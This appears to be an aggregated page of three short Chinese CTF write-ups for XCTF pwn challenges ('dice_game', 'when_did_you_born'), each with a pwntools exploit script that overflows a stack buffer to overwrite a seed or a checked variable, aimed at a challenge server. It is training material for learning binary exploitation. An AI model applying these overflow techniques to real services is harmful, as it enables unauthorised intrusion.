xctf

XCTF dice_game write up

夙愿已清 提交于 2019-12-02 03:05:28
nc一下给的地址和端口号,大概这个样子。 IDA Pro 看一下源文件 看一下sub_A20()函数,就是比较了你输入的数与随机数是否相同 如果五十次都相同,就输出flag。 我们要做的就是,将seed覆盖掉,并且去预测生成的随机数。 这边就可以看到,buf覆盖0x40位就能覆盖到seed。 exp: from pwn import * from ctypes import * p=remote('111.198.29.45','53746') libc = cdll.LoadLibrary("libc.so.6") p.recv() payload=0x40*"a"+p64(0) p.sendline(payload) a=[] for i in range(50): a.append(libc.rand()%6+1) print(a) for i in a: p.recv() print(p.recv()) p.sendline(str(i)) p.interactive() 喜提flag! 来源: https://www.cnblogs.com/mzstar/p/11727904.html

XCTF when_did_you_born write up

二次信任 提交于 2019-11-30 15:15:48
先在Ubuntu上nc一下给的地址,大概就这么个样子。 下面用ida pro反编译一下看一下代码啥样。 大概就是在这个gets()上做文章 本来输入1926就可以得到flag,但是由于代码逻辑问题得不到flag。思路就是将第二个v5覆盖为1926。 偏移值八个,覆盖到var_18上。 喜提flag。 来源: https://www.cnblogs.com/mzstar/p/11601116.html

XCTF - pwn when_did_you_born - WP

。_饼干妹妹 提交于 2019-11-29 10:27:08
1.先拉进虚拟机运行一下 2.检查一下文件格式,发现是64位文件,然后这个文件开了 canary 和 Nx 保护,但是影响不大。 3.用 ida64 反编译查看一下,进入main函数。不难发现,当进入 else 分支后使得 v6 得 1926 即可得到 flag。 4.现在的问题是将第一次 v6 不得 1926 而第二次检查 v6 时却是 1926 。我们注意上面定义变量时,v5 的地址为 20h,v6 为 18h。因此我们可以构造 exp 来使用第二次输入来将 v6 覆盖为 1926。而其中两个变量的差值为 8.因此 payload 就能构造了。 5. #!/usr/bin/env python from pwn import * # v5 - 20h # v6 - 18h #result = 1926 payload = 'aaaaaaaa' + str(p64(1926)) r = remote("111.198.29.45", 57262) r.recvuntil("Birth?") r.sendline("2000") r.recvuntil("Name?") r.sendline(payload) r.interactive() 6.运行脚本后得到 flag 来源: https://www.cnblogs.com/Tsuiyields/p/11515377.html